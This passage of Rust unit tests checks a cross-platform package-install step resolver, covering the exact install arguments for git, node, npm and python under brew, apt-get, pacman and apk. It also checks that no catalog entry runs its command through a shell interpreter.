839        assert!(resolve_windows_step("docker", None).is_none());
840        assert!(resolve_windows_step("", None).is_none());
841    }
842
843    #[test]
844    fn resolve_windows_step_carries_the_resolved_version_through() {
845        let git = resolve_windows_step("git", Some("2.47.1".to_string())).unwrap();
846        assert_eq!(git.resolved_version.as_deref(), Some("2.47.1"));
847    }
848
849    #[test]
850    fn resolve_brew_step_covers_the_catalog_and_never_needs_elevation() {
851        for id in ["git", "node", "npm", "python"] {
852            let step = resolve_brew_step(id, None).unwrap();
853            assert_eq!(step.program, "brew");
854            assert!(!step.needs_elevation, "brew must never be modeled as needing elevation");
855        }
856        assert!(resolve_brew_step("docker", None).is_none());
857    }
858
859    #[test]
860    fn resolve_linux_step_uses_the_correct_flag_syntax_per_manager() {
861        let apt = resolve_linux_step("git", LinuxPackageManager::AptGet, None).unwrap();
862        assert_eq!(apt.program, "pkexec");
863        assert_eq!(apt.args, vec!["apt-get", "install", "-y", "git"]);
864
865        let pacman = resolve_linux_step("git", LinuxPackageManager::Pacman, None).unwrap();
866        assert_eq!(pacman.args, vec!["pacman", "-S", "--noconfirm", "git"]);
867
868        let apk = resolve_linux_step("node", LinuxPackageManager::Apk, None).unwrap();
869        assert_eq!(apk.args, vec!["apk", "add", "nodejs", "npm"]);
870
871        // python's package list is genuinely different per manager —
872        // not just a flag-syntax difference.
873        let python_pacman =
874            resolve_linux_step("python", LinuxPackageManager::Pacman, None).unwrap();
875        assert_eq!(python_pacman.args, vec!["pacman", "-S", "--noconfirm", "python", "python-pip"]);
876        let python_apt = resolve_linux_step("python", LinuxPackageManager::AptGet, None).unwrap();
877        assert_eq!(
878            python_apt.args,
879            vec!["apt-get", "install", "-y", "python3", "python3-pip", "python3-venv"]
880        );
881
882        assert!(resolve_linux_step("docker", LinuxPackageManager::AptGet, None).is_none());
883    }
884
885    #[test]
886    fn every_populated_catalog_entry_uses_a_plain_argv_never_a_shell_string() {
887        // Defense-in-depth check for the module's own stated invariant:
888        // no entry anywhere in the catalog should ever route through a
889        // shell interpreter — every program is the real binary, never
890        // "sh"/"bash"/"cmd"/"powershell" wrapping a formatted string.
891        let shells = ["sh", "bash", "cmd", "cmd.exe", "powershell", "powershell.exe"];
892        for id in ["git", "node", "npm", "python"] {
893            if let Some(s) = resolve_windows_step(id, None) {
894                assert!(!shells.contains(&s.program.as_str()));
895            }
896            if let Some(s) = resolve_brew_step(id, None) {
897                assert!(!shells.contains(&s.program.as_str()));
898            }
899            for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
900                if let Some(s) = resolve_linux_step(id, pm, None) {
901                    assert!(!shells.contains(&s.program.as_str()));
902                    assert_eq!(s.program, "pkexec");
903                }
904            }
905        }
906    }
907}